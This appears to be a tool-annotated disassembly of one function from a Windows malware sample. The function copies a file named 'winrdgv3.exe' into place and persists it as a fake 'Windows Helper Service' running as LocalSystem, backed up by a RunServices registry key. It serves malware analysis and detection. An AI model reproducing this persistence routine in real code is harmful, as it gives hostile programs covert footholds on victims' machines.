Function at 0x100124f6
Capabilities:
Create process on windows
Create service
Delete service
Modify service
Persist via run registry key
Persist via windows service
Query service configuration
Set registry value
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x780
test byte [0x10070a7c], 1
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
jne 0x1001251f
or byte [0x10070a7c], 1
call esi
mov dword [0x10070a78], eax
call esi
lea eax, [ebp - 0x780]
push 0x104
push eax
call fcn.100120cd
pop ecx
test eax, eax
pop ecx
je 0x100127fb
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x780]
push str.winrdgv3.exe
push eax
lea eax, [ebp - 0x27c]
push 0x100603c0
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x178]
push str.__s_
push eax
call esi
xor ebx, ebx
add esp, 0xc
mov dword [ebp - 8], ebx
call fcn.1002ca20
test eax, eax
je 0x10012766
mov dword [ebp - 0xc], ebx
push 0xf003f
push ebx
push ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10012746
mov edi, 0xf01ff
push edi
push str..Winhlpsvr
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x100125f7
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x178]
push str..OcularServices
push eax
push 1
push 2
push 0x110
push edi
push str.Windows_Helper_Service
push str..Winhlpsvr
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
jmp 0x10012716
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x67b]
mov byte [ebp - 0x67c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
lea eax, [ebp - 0x67c]
push 0x400
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x100126e0
cmp dword [ebp - 0x660], ebx
je 0x10012654
push str.LocalSystem
push dword [ebp - 0x660]
call dword [sym.imp.MSVCRT.dll__mbsicmp]
pop ecx
test eax, eax
pop ecx
jne 0x10012654
xor edi, edi
jmp 0x10012657
push 1
pop edi
cmp dword [ebp - 0x678], 2
jne 0x100126b0
cmp dword [ebp - 0x670], ebx
je 0x100126b0
lea eax, [ebp - 0x178]
push eax
push dword [ebp - 0x670]
call dword [sym.imp.MSVCRT.dll__mbsicmp]
pop ecx
test eax, eax
pop ecx
jne 0x100126b0
cmp dword [ebp - 0x66c], ebx
je 0x100126b0
push str..OcularServices
push dword [ebp - 0x66c]
call dword [sym.imp.MSVCRT.dll__mbsicmp]
pop ecx
test eax, eax
pop ecx
jne 0x100126b0
cmp dword [ebp - 0x67c], 0x110
jne 0x100126b0
cmp edi, ebx
je 0x10012716
push ebx
push ebx
push str.LocalSystem
push ebx
push ebx
lea eax, [ebp - 0x178]
push str..OcularServices
push eax
push 0xffffffffffffffff
push 2
push 0x110
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
cmp edi, ebx
je 0x10012716
call fcn.1001230d
jmp 0x10012716
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x45b
je 0x10012713
push 6
xor eax, eax
pop ecx
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x30]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
call fcn.1001230d
mov dword [ebp - 0x10], ebx
cmp esi, ebx
je 0x1001272f
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 4]
call esi
cmp dword [ebp - 0x10], ebx
je 0x1001258c
cmp dword [ebp - 8], ebx
jne 0x100127fb
cmp dword [ebp - 0xc], 0x4ec
jne 0x100127fb
call fcn.10004afe
jmp 0x100127fb
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100127b1
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x178]
push eax
push 1
push ebx
push str..Winhlpsvr
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 0x24], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x27c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100127fb
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
pop edi
pop esi
pop ebx
leave
ret